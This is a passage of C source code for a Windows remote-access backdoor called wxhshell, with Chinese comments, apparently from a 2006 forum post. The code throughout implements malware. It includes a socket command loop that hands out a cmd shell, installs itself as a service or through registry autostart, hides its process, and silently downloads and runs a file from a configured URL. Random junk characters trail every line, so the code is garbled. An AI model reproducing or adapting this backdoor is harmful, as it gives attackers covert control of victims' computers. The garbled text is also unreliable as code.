    if(Install()) 7lj-Z~1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7S7!  
    else Y}#^n7*w~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |zT0g]WH  
    break; t/D Q<B_  
    } h9-Ky@X`  
  // 卸载 y^Jv?`jw  
  case 'r': { j bGH3 L  
    if(Uninstall()) RQ'c~D)X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dB,#`tc=,  
    else w:LCm `d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4>Y\2O?**  
    break; ).boe& .  
    } >>8w(PdTn%  
  // 显示 wxhshell 所在路径 : [9'nR  
  case 'p': { ["IJ h  
    char svExeFile[MAX_PATH]; xq)/QR  
    strcpy(svExeFile,"\n\r"); ,Ex\\p-  
      strcat(svExeFile,ExeFile); 2~U+PyeNz  
        send(wsh,svExeFile,strlen(svExeFile),0); S p )}  
    break; MGz> ,c^wW  
    } Jqj6L993e  
  // 重启 &;skB.  
  case 'b': { ^0 lPv!2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4|L@oTzx  
    if(Boot(REBOOT)) 4a|Fx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (R}X( u  
    else { Om"3Q/&  
    closesocket(wsh); Mfr#IzNHN  
    ExitThread(0); Ny'v/+nQ  
    } c+{4C3z  
    break; K{ P#[X*5  
    } ;X6y.1N~  
  // 关机 [Z+,)-ke  
  case 'd': { #dt2'V- ,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b?NeSiswn  
    if(Boot(SHUTDOWN)) -}sya1(<8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )l}wjKfgO  
    else { 7jbm w<d)9  
    closesocket(wsh); M!l5,ycF  
    ExitThread(0); m wCnP8:K  
    } e;'T?&t  
    break; T!A}ipqb  
    } F?ebY k1  
  // 获取shell 9GwsQ \  
  case 's': { >[: 2  
    CmdShell(wsh); j*`!o/=LI  
    closesocket(wsh); nQHd\/B  
    ExitThread(0); a0.3$  
    break; $?-o  
  } Kx+Bc&X  
  // 退出 LD~'^+W  
  case 'x': { }gi' %e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5; [|k$ v  
    CloseIt(wsh); ]+dl=SmF  
    break; t g*[%Jf^  
    } \>`$x:  
  // 离开 Av>j+O ;  
  case 'q': { (NC>[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e:D"_B  
    closesocket(wsh); 9y*! W  
    WSACleanup(); 2vN(z %p  
    exit(1); I{I [N &N  
    break; J-<B*ot+lX  
        } B[B<U~I}  
  } Z^6(&Rh  
  } P$>kBW53  
walRqlo@  
  // 提示信息 UeMe4$m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kn$1W=B1.  
} ] *VF Ws  
  } 3a}`xCO5  
mZVOf~9E  
  return; 51ebE`  
} U(=9&c@]  
O9X:1>a@i  
// shell模块句柄 D>e\OfTR:  
int CmdShell(SOCKET sock) l1Q+hz5"*U  
{ 5l/l]  
STARTUPINFO si; <^_Vl8%  
ZeroMemory(&si,sizeof(si)); o'C.,ic?C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U hhmG+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XWQ0V  
PROCESS_INFORMATION ProcessInfo; >#U <#  
char cmdline[]="cmd"; z\8yB`8b^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MH;%Y"EI  
  return 0; dG?a"/MA  
} ;6txTcn`=  
^ [[ b$h$  
// 自身启动模式 %N>NOk)  
int StartFromService(void) { DQ E7kI  
{ `$SEkYdt  
typedef struct AE4~M`6D  
{ X7d.Ie  
  DWORD ExitStatus; s8d}HI  
  DWORD PebBaseAddress; ?EQ^n3U$  
  DWORD AffinityMask; 3e6Y  
  DWORD BasePriority; z12But\<  
  ULONG UniqueProcessId; X5|/s::u  
  ULONG InheritedFromUniqueProcessId;  5vF}F^  
}   PROCESS_BASIC_INFORMATION; 9r+O!kF(  
q+n1~AT  
PROCNTQSIP NtQueryInformationProcess; 0s9z @>2  
k)K-mD``U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c_bVF 'Bz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `s> =Sn&UP  
ZHF(q6T  
  HANDLE             hProcess; iq uTT~  
  PROCESS_BASIC_INFORMATION pbi; Rw\C0'  
X/8iJ-KB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?wf+{x-dPP  
  if(NULL == hInst ) return 0; _6UAeZ*M  
<I%9O:R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +aw>p_\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U%t/wq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8{<[fZyC  
[&qbc#L  
  if (!NtQueryInformationProcess) return 0; a950M7  
iQ{&&>V%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *Z]WaDw  
  if(!hProcess) return 0; /4 LR0`A'  
W _,;eyo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,ANK3n\  
[x<6v}fRn  
  CloseHandle(hProcess); OW^2S_H5  
hJ[mf1je=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V}|v!h[O8  
if(hProcess==NULL) return 0; ? TT8|Os  
yb4tJu$  
HMODULE hMod; ZutB_uW  
char procName[255]; #>:(#^Uu  
unsigned long cbNeeded; CSL{Q  
y /:T(tk$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \;*}zX  
d$_q=ywc  
  CloseHandle(hProcess); ?5yH'9zE  
uB <F.!3  
if(strstr(procName,"services")) return 1; // 以服务启动 {y:#'n  
p=~h|(M|  
  return 0; // 注册表启动 H : T N  
} xeHb89GnoQ  
Lubs{-5lk  
// 主模块 (HaKF7Jsi  
int StartWxhshell(LPSTR lpCmdLine) ft/^4QcyAM  
{ Y <Znv%M  
  SOCKET wsl; 5M Wvu,'%8  
BOOL val=TRUE; 1n`1o-&l-  
  int port=0; .^LL9{?  
  struct sockaddr_in door; q^N0abzgP  
1U7,X6=~  
  if(wscfg.ws_autoins) Install(); (eRKR2% q  
WR a+zii,  
port=atoi(lpCmdLine); wVp4c?s  
{x|kg;  
if(port<=0) port=wscfg.ws_port; E./__Mz@  
'>e79f-O)  
  WSADATA data; P*SCHe'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (H8C\%g:  
TsX+. i'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <4Q12:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o3F|#op  
  door.sin_family = AF_INET; R#/?AD&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o'eI(@{F=  
  door.sin_port = htons(port); G;Wkm|  
*f TG8h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %K^gUd>,R  
closesocket(wsl); )8$:DW;  
return 1; !eR-Kor  
} X7H'Uk9:  
`8Jq~u6_Z  
  if(listen(wsl,2) == INVALID_SOCKET) { Vm~qk  
closesocket(wsl); /esVuz  
return 1; AbF(MK=i  
} om}/f`  
  Wxhshell(wsl); skI(]BDf  
  WSACleanup(); {xv?wenE  
CQSpPQA  
return 0; -SvTg{Q{la  
RVkU+7  
} ^`rpf\GX(  
d@4rD}_Z  
// 以NT服务方式启动 `*NO_ K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hV-V eKjZ(  
{ qX5yN| A4  
DWORD   status = 0; fVDDYo2\  
  DWORD   specificError = 0xfffffff; %AG1oWWc>.  
i*S|qX7``  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c~^CKgr~R9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H|;*_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4mN].X[,  
  serviceStatus.dwWin32ExitCode     = 0; X*!Dc,0.k  
  serviceStatus.dwServiceSpecificExitCode = 0; =`Po<7D  
  serviceStatus.dwCheckPoint       = 0; X(k{-|9]  
  serviceStatus.dwWaitHint       = 0; %kh#{*q$  
Q(510)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iuC7Y|  
  if (hServiceStatusHandle==0) return; u^Nxvx3l0  
<vB<`   
status = GetLastError(); }bf=Ntk  
  if (status!=NO_ERROR) ](W5.a,-$L  
{ D XV@DQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7}4'dW.  
    serviceStatus.dwCheckPoint       = 0; 7G5y)Qb  
    serviceStatus.dwWaitHint       = 0; 0n:?sFY>  
    serviceStatus.dwWin32ExitCode     = status; jzs.+dAg  
    serviceStatus.dwServiceSpecificExitCode = specificError; IKi{Xh]\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9u,8q:I.?  
    return; G'f9N^w  
  } w 66 v\x~  
u8YB)kG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <S1??  
  serviceStatus.dwCheckPoint       = 0; /O|:{LQ  
  serviceStatus.dwWaitHint       = 0; )Hbb&F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {O^TurbTFA  
} mn]-rTr  
t;8\fIW5  
// 处理NT服务事件,比如:启动、停止 8Q2]*%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B.$PhmCG  
{ 5@P%iBA4(3  
switch(fdwControl) jn-QKdqM  
{ d^F|lc ]8  
case SERVICE_CONTROL_STOP: J["H[T*  
  serviceStatus.dwWin32ExitCode = 0; ^GMJ~[]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gmh5 %2M  
  serviceStatus.dwCheckPoint   = 0; XTJvV  
  serviceStatus.dwWaitHint     = 0; vSOT*0r  
  { EgTFwEj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ep+  
  } ao#!7F  
  return; M[, D  *  
case SERVICE_CONTROL_PAUSE: 4% HGMr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c juZB Fl  
  break; ^=EjadVQ  
case SERVICE_CONTROL_CONTINUE: 'p%= <0vrr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZJ;LD*  
  break; =/FF1jQ  
case SERVICE_CONTROL_INTERROGATE:  gH %y  
  break; w |_GV}#_  
}; o+nG3kRD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xXX/]x>  
} A\K,_&x1Z  
)^4hQ3BS  
// 标准应用程序主函数 NYBe"/}GS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KOjluP  
{ gQ37>  
![ZmV  
// 获取操作系统版本 57~Uqt  
OsIsNt=GetOsVer(); nV}8M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _%Bz,C8  
?O??cjiA@  
  // 从命令行安装 nH@(Y&S  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8L%M<JRg~  
-hWC_X:9jP  
  // 下载执行文件 Y\xUT>(J7  
if(wscfg.ws_downexe) { x?"#gK`3;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g\U/&.}DN  
  WinExec(wscfg.ws_filenam,SW_HIDE); wtXY: O  
} %Rp8{.t7  
UVz/n68\k7  
if(!OsIsNt) { 845 W>B  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?i~g,P]NK  
HideProc(); YNSyi@  
StartWxhshell(lpCmdLine); mO P4z'  
} kbxg_UI;  
else lWWP03er!  
  if(StartFromService()) %KtU1A(["  
  // 以服务方式启动 !VwmPAMr#v  
  StartServiceCtrlDispatcher(DispatchTable); y4@gGC=  
else Yi(1^'Bi  
  // 普通方式启动 brh=NAzt  
  StartWxhshell(lpCmdLine); u$%A#L[  
@%1IkvJV  
return 0; ;QBh;jg4  
}
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只看该作者 1 发表于: 2006-10-10
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